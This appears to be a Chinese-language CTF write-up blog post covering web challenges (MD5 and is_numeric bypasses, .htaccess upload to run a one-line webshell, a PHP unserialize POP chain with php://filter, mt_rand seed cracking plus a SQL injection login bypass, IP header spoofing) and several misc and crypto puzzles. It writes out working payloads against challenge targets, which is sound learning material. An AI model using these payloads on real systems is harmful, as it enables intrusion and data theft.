这波比赛终于写上了几题 Web 的题,感觉挺开心了,虽然过程有点曲折(说到底还是我菜 不过学到了一些东西,也使自己的思路更清晰了一些。

Summary

很开心的是这次把有思路的 Web 题目都写出来了,虽然 Typecho 那题也应该能写出来的,可惜的是还没找到切入点,思路出了问题。至于 WASM 那题,完全都没接触过,所以自然不知道怎么下手手。这波感觉 Misc 的题目用了很多新的东西,也充分地跟声波斗智斗勇了,虽然最后没完全写出来,也学了不少东西。至于 Crypto 嘛,认真写了的题里倒是没啥新奇的。

Reflection

虽然这次没有因为一道题而不去看其他的,但是出现了新的问题,一个单词的拼写浪费了大量的时间去检查,应该更加细心一点的。另外一点就是熟悉的东西真的太少了,会的东西也很少QAQ

Write Up

ez_bypass

MD5is_numbericPOST & GET Trick

这题感觉是直白的代码审计,一上来就给了段代码。稍微看了一下之后发现两个点,MD5的 if (md5($id) === md5($gg) && $id !== $gg) 可以简单地用数组绕过。is_numberic 可以加个 %0 来绕过。因此,直接传两个 GET 参数 id[]=1&gg[]=2 加上一个 POST 参数 passwd=1234567%0 即可拿到 flag。

你传你🐎呢

Apache · htaccessUpload

这题一开始我没注意到用的 Apache 然后疯狂尝试各种改包,结果都失败了。其实要先上传个 .htaccess,这是 Apache 独有的机制。(当然 nginx 也可以用不一样的方法实现,甚至使 nginx 支持 .htaccess)因此,写个 .htaccess 使 jpg 文件解析为 php 从而执行。

1
2
3
<FilesMatch "crack.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

值得注意的是,要先拦截这个数据包然后修改 Content-Type 才能成功上传,也可以先选一张图片,然后修改 filename 和内容(我就是用的这个套路)。完成之后再写一段一句话木马,记事本存起来拓展名改成 .jpg 就好。然后上传之后尝试访问一下,没问题之后直接拿菜刀连上去根目录找 flag。(其实是因为试了几次之后发现 system() 啥的都没给,其实还可以用 include() 啥的,但是当时想着,不如直接上菜刀)

套娃

RegexpCharHeadersStrings · RequestJSFuck

上来看一手页面源码,于是找到了第一步。要求大概是要 b_u_p_t 但是不给 _,加一个简单的正则绕过。于是构造一波 ...?b.u.p.t=23333%0a 成功拿到下一步线索 FLAG is in secrettw.php

1
2
3
4
5
6
7
8
9
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

访问 secrettw.php 之后发现页面源码中有一段 JSFuck,丢到 Console 里面执行一下,提示 post me Merak。于是照着尝试了一下,拿到一段代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}

function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

首先照着代码给的要求构造 GET 请求,因为有个 file_get_contents() 函数,所以构造 $_GET['2333'] 有两种方法,php://input + POST 或者直接用 data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk= 来构造。观察到 $_GET['file'] 这个文件会首先被 change() 然后再输出文件内容,所以需要先把 flag.php 倒着 change() 一次,这样之后就能输出 flag.php 从而拿到 flag。于是写一波 RecChange()

1
2
3
4
5
6
7
8
function RecChange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
$re = base64_encode($re);
return $re;
}

将 flag.php RecChange() 之后拼接到 payload 中。在看代码,要求 $ip === 127.0.0.1,于是用 Client-IP: 127.0.0.1 这个 header 达成。于是 payload 构造完成,得到 .../secrettw.php?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=。最后,根据代码,去除掉最开始的 POST 参数,请求之后查看网页源码即得 flag。

PYwebsite

Headers

这题一开始给了个很有梗的网页(事实证明这题都很有梗),找了找网页源码,发现一个 flag.php。直接访问之后又是一个很有梗的页面,关键词是 IP。于是果断试一手 X-Forwarded-For: 127.0.0.1,访问后成功在网页源码中找到 flag。

Ezpop

PHP 伪协议Unserialize

这题一开始就给了一段源码,仔细查看之后知道就是反序列化的考点。很明显,include() 就是可以利用的地方,于是一路往下找,__invoke(),这里要求以调用函数的方式调用一个对象。这点使用 __get() 可以实现,而这又要求获取一个类中不可达的属性。在 __wakeup() 中有一个 $this->source 的参数,使得 source 被当作一个字符串而触发 __toString()。而恰好 __toString() 可以触发 __get()。这样一系列的触发就完成了,因为知道 flag 在 flag.php 中,因此要在 include() 中使用 php 伪协议来包含这个文件。于是稍加修改代码然后得到序列化的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$p1 = new Modifier();
$p2 = new Test();
$p2->p = $p1;
$p3 = new Show();
$p3->str = $p2;
$exp = new Show();
$exp->source = $p3;
$dexp = serialize($exp);

这样就能得到序列化的结果。因为涉及到保护字段,所以在构造 payload 的时候记得把字段名前面的空格恢复成\x00,不然会导致反序列化失效从而无法执行。这里构造完成之后用 Python 或者 BurpSuite 发送数据包之后可以在响应中得到一串 base64 文本,解码后可以找到 flag。

Ezaudit

SQL Injectionphp_mt_seed

不愧是好看的 CSS,找了半天没有找到切入点,然后堆堆告诉我说有源码。(我没扫出来)于是我就直接下载了一份。不过查看源码的时候找到了 .../login.html,结合源码中的公钥私钥和随机数生成,查了一下搜索引擎之后找到了 php_mt_seed 这个工具。于是将源码注释中给出的公钥整理,然后使用这个工具算出种子。得到的种子是 1775196155。

设置好种子之后,开始跑私钥。需要注意的是,这个公钥需要使用 PHP 5.6.x 才能够对得上。于是以此生成公钥和私钥,得到的私钥是 XuNhoueCDCGc。将其整合到 payload 中,然后再简单地过一下 password 的 SQL 注入。最后的 POST 数据是这样的 Private_key=XuNhoueCDCGc&login=%E7%99%BB%E5%BD%95&password=1' or 1=1 #&username=admin ,访问之后可得 flag。

天干地支+甲子

给出的信息是 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 辛丑,经过大家的提醒之后找了个干支表,对着将每一年转换成了数字 11 51 51 40 46 51 38。然后题目要求加一个甲子,也就是六十年,加上之后数字变成这样 71 111 111 100 106 111 98,将其进行十进制的编码转换之后,得到了 flag 的内容 Goodjob

keyboard

这题给出的信息是 6 666 22 444 555 33 7 44 666 66 33。观察一下可以发现,1 和 0 都没有出现过,加上数字有重复且不超过三,比较符合九键拼音的键盘。于是尝试解密一波,得到 MOBILEPHONE。此即 flag 的内容。

vigenere

这题给了一篇很长的文章,但是出现了很多不一样的单字母,所以判断其应该不是字母替换,加之标题的提示,我成功找到了这个。将文章放进去之后解密即可在文章末尾得到 flag。

千层套路

这题给了个 zip,还是加密的,但是提示跟名称有关系。于是先上一手爆破,得到了密码之后找到了关系,被压缩的压缩包的密码等于当前压缩包的名称。一开始我准备直接手解来着,但是层数太多了,于是随手码了个 Python 脚本来解密。

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile, os

f = zipfile.ZipFile(os.path.join(os.getcwd(), 'xxxx.zip'))
print(f.namelist())
passwd = 'xxxx'
f.extract(f.namelist()[0],r'path\to\your\folder',bytes(passwd.encode('utf-8')))
while f.namelist():
filename = passwd
passwd = f.namelist()[0][0:4]
f = zipfile.ZipFile(os.path.join(os.getcwd(), filename + '.zip'))
f.extract(f.namelist()[0], r'path\to\your\folder', bytes(filename.encode('utf-8')))
print(passwd)

跑到程序出错之后得到了最后一层 zip,打开之后得到一串文本,代表着色块的 RGB,且非黑即白。加上 zip 的名称猜测是一个二维码。于是将文本复制下来,放到微软家生产力工具 Excel 里,使用 =OFFSET($A$1,(COLUMN(GQ902)-1)*200+MOD(ROW(GQ902)-1,200),) 将其转换成 200x200 的结构,然后将显示比例不断缩小,就能得到颜色差别细微的二维码。

Excel 中内容的截图

将其截图之后放进 Photoshop 中。色阶一顿操作之后可以得到颜色差别明显的图片,然后适当调整长宽比例得到二维码。

Photoshop 处理后的二维码

扫描上述二维码后可得 flag。

Exploration

POST 参数的回车符

其实一开始是因为 ez_bypass 这题在复现写 WP 的时候有奇怪的结果,本该用 %0a 字符绕过的地方直接就过了。于是就抓包看了一波。一开始发现了 POST 数据最后的 0D 0A,尝试把它去掉之后果然就没办法通过了,但是这个换行符是 GET 参数后面也有的,于是就去请教了一波 Mrkaixin 学长。在他的提示下我替换了一波可显示字符发现 POST 参数的最后一个的末尾会加上原本属于请求的换行符。这样就解释了为什么会出现奇怪的结果,而当所传的参数不是最后一个的时候,所有的数据都是跟原本一致的。

Nginx 针对文件后缀设置 Content-Type

这次的 Apache 设置 htaccess 的题,其实在 nginx 下也可以实现相关的功能,但是没有办法被利用,因为要从 nginx.conf 修改。使用以下代码可以达成目的。

1
2
3
types {
application/x-my-type ext;
}